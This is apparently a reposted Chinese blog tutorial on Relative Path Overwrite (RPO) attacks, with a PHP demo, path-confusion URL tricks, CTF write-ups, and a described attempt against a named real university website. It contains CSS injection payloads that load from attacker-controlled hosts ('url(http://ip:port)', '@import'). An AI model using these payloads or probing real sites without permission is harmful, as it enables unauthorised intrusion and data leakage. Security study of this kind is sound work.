RPO攻擊


RPO攻擊

最近見到幾個題,了解到一種攻擊方式,就是有RPO攻擊

0x00概述

瀏覽器解析頁面路徑有誤而導致css文件加載路徑錯誤,從而引發的任意解析。

引子:
1.在php有些框架中會有些pathinfo模式的url,就像http://localhost/index.php/home/user/login/var/value/ 如果此時頁面需要加載css,同時是以一個相對路徑進行加載,會出現什么問題呢?

2.有時url例如這樣http://test.com/a/b/c/d/e/f.html 的時候,如果
我訪問的是

0x01攻擊

針對上面的問題,我簡單的寫了一個demon測試了一下

php代碼


<?php $path='http://localhost/hello/'?>
<a class="navbar-brand" href="<?php echo $path?>url.php">三國殺</a>
<li class="active" id='wei'><a href="<?php echo $path?>url.php/country/wei">魏</a></li>
<li id ='shu'><a href="<?php echo $path?>url.php/country/shu">蜀</a></li>
<li class="active" id='wu'><a href="<?php echo $path?>url.php/country/wu">吳</a></li>
<link rel="stylesheet" href="./style.css" style="css" />
<?php
$arr=isset($_SERVER['PATH_INFO'])?explode('/',trim($_SERVER['PATH_INFO'],'/')):null;
//var_dump($arr);
//echo $arr
$value='';
for($_=0;$_<count($arr);$_+=2)
{
    $value[$arr[$_]] = $arr[$_+1];
}
$value['country']=isset($value['country'])?$value['country']:null;
switch ($value['country']) {
    case 'wei':
        ?>
        <h1>welcome to 魏國!</h1>
        <?php
        break;
    case 'shu':
        ?>

        <h1>welcome to 蜀國!</h1>

        <?php
        break;
    case 'wu':
        ?>
        <h1>welcome to 吳國!</h1>

        <?php
        break;

    default:
        ?>
        <h1>welcome!</h1>
        <?php
        break;
}
?>

style.css文件

h1 {
font-size:180px;
color:blue;
}

注意這里css文件加載是以一個相對路徑加載的

<link rel="stylesheet" href="./style.css" style="css" />

這里傳參是利用/來進行分割,發現直接打開頁面是沒有問題的。

但是發現如果有傳參的話,就出現問題了。

是哪里的問題?

在這里瀏覽器誤以為我們參數的鍵/country/是一個實際的路徑,從而導致實際加載的css文件路徑就成了
http://localhost/hello/url.php/country/style.css

在這里服務端收到的請求會認為請求/country/style.css是一個鍵為country值為style.css的參數,從而返回頁面。

0x02利用

說到底是要實際利用的,之前的例子只是說明了,我們可以打亂他的css的路徑使其不能正常顯示,那么如果那個加載的css我們可以控制就好了,這里就是用了一個小技巧,下面借鑒國外的一篇文章的分析

css文件路徑為../../styles.css,URL寫為
http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

返回正確
服務器接收到的是/tools/toolbar/buttons/apis/howto_guide.html

瀏覽器接收到的是 /tools/toolbar/buttons/apis%2fhowto_guide.html

頁面中導入的樣式表 為 /tools ~~/toolbar/buttons/../../~~ style.css

瀏覽器認為style.css的根目錄是tools/toolbar/buttons,而不是tools/toolbar/button/apis

所以../../style.css跳到了更高一級的目錄下

這個就比較有意思了,style.css是往上跳兩級,如果我們在這兩級中加個/tools/toolbar/a/..%2fbuttons/apis/howto_guide.html這樣,服務器收到這里的是/tools/toolbar/ a/../ buttons/apis/howto_guide.html相當於沒有加,但是瀏覽器依然以為/..%2f和后面的是一個路徑這樣的話我們就使加載的css文件是在一個我們自己構造的文件夾a中了

這樣有啥子用處呢?

首先要了解的是,瀏覽器解析css文件是兼容性比較高的,他不去關注那些雜亂的字符,只要我們可以空出一行或者可以分割雜亂字符就可以了,比如asda{}body {background: url(./aaa.jpg);}asfa這樣就可以正確的加載。

其次,如果在網站里還有一處評論留言 或者搜索能使頁面的部分內容是我們可以控制的話,我們可以構造css的語句,然后使加載的css文件可以跳到這里,便可以控制頁面css的樣式了。

下面舉一個例子,還是學校的某處網站(http://xsc.cuit.edu.cn/WebSite/Web/SearchList-Title~111.html)。

這里的搜索的參數是直接在url的,我首先想了想如果我們搜索a/c/這樣的話瀏覽器會不會認為這都是路徑從而亂套啊,試了一下發現服務器考慮到這個問題,我輸入一個/他就會多跳一級。


(想了想這種方式還是比較脆弱的,如果我是兩個連續的/瀏覽器並不會認為這是兩級目錄,但是服務器卻會返回調兩級的地址。)

我們這時候還需要找一個可以插入payload的頁面http://xxxx/WebSite/Web/NewsList_Wyls.html

分析一下,我們源頁面路徑是/WebSite/Web/SearchList-Title~111.html,現在需要跳轉到/WebSite/Web/NewsList_Wyls.html,如果把NewsList_Wyls.html當成目錄的話,那只需要跳一級就可以了,最后構造的url是http://xsc.cuit.edu.cn/WebSite/Web/NewsList_Wyls.html/..%2fSearchList-Title~33s.html

可以看到具體加載的css文件成功的轉到我們需要的頁面了

可惜的是這里並沒有成功渲染,我把加載的css源碼拖到本地執行,是有效的,不曉得為啥子這里就不行了。但是總的攻擊流程大概就是這樣。

CTF題目

題目一

最近有CTF就是利用的這個攻擊方式的,pwnhub上的那個流程和之前類似,最后就是在user頁面寫{}*{backgorund: url('http://ip:port');}然后構造好url提交給bot然后等bot訪問后加載css就ok了,說實話這種利用方式感覺並沒有什么實際的用處。

題目二

在http://117.34.111.15:3000,這道題中就比較有意思了,貼一下出題人的wp

思路相當可以,差不多就是利用未閉合的單引號來包裹源碼,通過訪問的url讀取源碼。

這里有些坑感覺,由於對css語法並不是很了解,有空了在研究研究看看。

常見的可以加載加載遠程文件的方法

{} @import url('http://1.2.3.4/');
或者加載背景
{}body {background: url(http://ip:port);}

之前看到可以通過這種css的方式加載圖片background-image:url(data:image/gif;base64,R0lGODlhAQAcALMAAMXh96HR97XZ98Hf98Xg97DX97nb98Lf97vc98Tg973d96rU97ba97%2Fe96XS9wAAACH5BAAAAAAALAAAAAABABwAAAQVMLhVBDNItXESAURyDI2CGIxQLE4EADs%3D);

我想是不是可以嘗試加載js代碼?
類似於data類型的地址有如下:

data:text/plain,<文本數據>
data:text/html,<HTML代碼>
data:text/html;base64,<base64編碼的HTML代碼>
data:text/css,<CSS代碼>
data:text/css;base64,<base64編碼的CSS代碼>
data:text/javascript,<Javascript代碼>
data:text/javascript;base64,<base64編碼的Javascript代碼>
data:image/gif;base64,base64編碼的gif圖片數據
data:image/png;base64,base64編碼的png圖片數據
data:image/jpeg;base64,base64編碼的jpeg圖片數據
data:image/x-icon;base64,base64編碼的icon圖片數據

還有這樣javascript:alert('xss');
發現這樣並不會解析。

留着以后發現新姿勢在利用吧。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM